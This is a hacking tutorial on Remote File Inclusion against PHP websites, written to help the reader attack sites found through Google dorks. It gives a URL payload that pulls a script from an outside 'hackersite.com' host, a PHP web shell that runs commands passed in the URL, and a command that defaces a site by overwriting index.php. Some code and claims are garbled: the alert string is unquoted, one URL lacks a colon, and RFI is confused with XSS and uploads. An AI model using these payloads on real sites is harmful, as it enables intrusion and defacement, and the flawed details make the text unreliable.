Remote File Inclusion Tutorial

Author: Rishab of SecurityXploded
www.h4cky0u.org

Contents:

Introduction

RFI stands for **Remote File Inclusion** that allows the attacker to upload a custom coded/malicious file on a website or server using a script. The vulnerability exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using javascript). This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of tutorial, I suppose you will know what it is all about and may be able to deploy an attack or two.

RFI is a common vulnerability and trust me all website hacking is not exactly about **SQL injection**. Using RFI you can literally deface the websites, get access to the server and do almost anything. What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this one, some BASH might come handy as most of servers today are hosted on Linux.

Starting with RFI

Lets get it started. The first step is to find vulnerable site, you can easily find them using Google dorks.If you don't have any idea, you might want to read about advanced password hacking using Google dorks or to use automated tool to apply Google dorks using Google. Now lets assume we have found a vulnerable website

```
http://victimsite.com/index.php?page=home
```

As you can see, this website pulls documents stored in text format from server and renders them as web pages. We can find ways around it as it uses **PHP include function** to pull them out. Lets check it out.

```
http://victimsite.com/index.php?page=http://hackersite.com/evilscript.txt
```

I have included a custom script **"evilscript"** in text format from my website, which contains some code.Now, if its a vulnerable website, then any of these 3 things can happen

Case 1 - You might have noticed that the url consisted of **"page=home"** had no extension, but I have included an extension in my url,hence the site may give an error like 'failure to include evilscript.txt.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.

Case 2 - In case, it automatically appends something in the lines of .php then we have to use a null byte '%00' in order to avoid error.

Case 3 - successfull execution :)

Now once you have battled around this one, you might want to learn what to code inside the script. You may get a custom coded infamous C99 script (too bloaty but highly effective once deployed) or you might code yourself a new one. For this knowledge of PHP might come in handy. Here we go

```
<?php
echo "<script>alert(U 4r3 0wn3d !!);</script>";
echo "Run command: ".htmlspecialchars($_GET['cmd']);

system($_GET['cmd']);
?>
```

The above code allows you to exploit include function and tests if the site if RFI (XSS) vulnerable by running the alert box code and if successful, you can send custom commands to the linux server in bash. So, if you are in luck and if it worked, lets try our hands on some Linux commands. For example to find the current working directory of server and then to list files, we will be using **'pwd'** and **'ls'** commands

```
http//victimsite.com/index.php?cmd=pwd&page=http://hackersite.com/ourscript

http//victimsite.com/index.php?cmd=ls&page=http://hackersite.com/ourscript
```

What it does is that it sends the command as cmd we put in our script and begins print the working directory and list the documents.Even better you can almost make the page proclaim that you hacked it by using the **'echo'** command.

```
cmd=echo U r pwn3d by xero> index.php
```

It will then re-write the index.php and render it.In case, its a primitive website which stores pages with .txt extension, you might want to put it with along the .txt files. Now as expected, we are now the alpha and the omega of the website :) we can download, remove, rename, anything! Want to download stuff ? try the**'wget'** function...

I leave the rest to your creativity !

Conclusion

In this basic tutorial, Rishabh explains about RFI vulnerability and how to play around with it.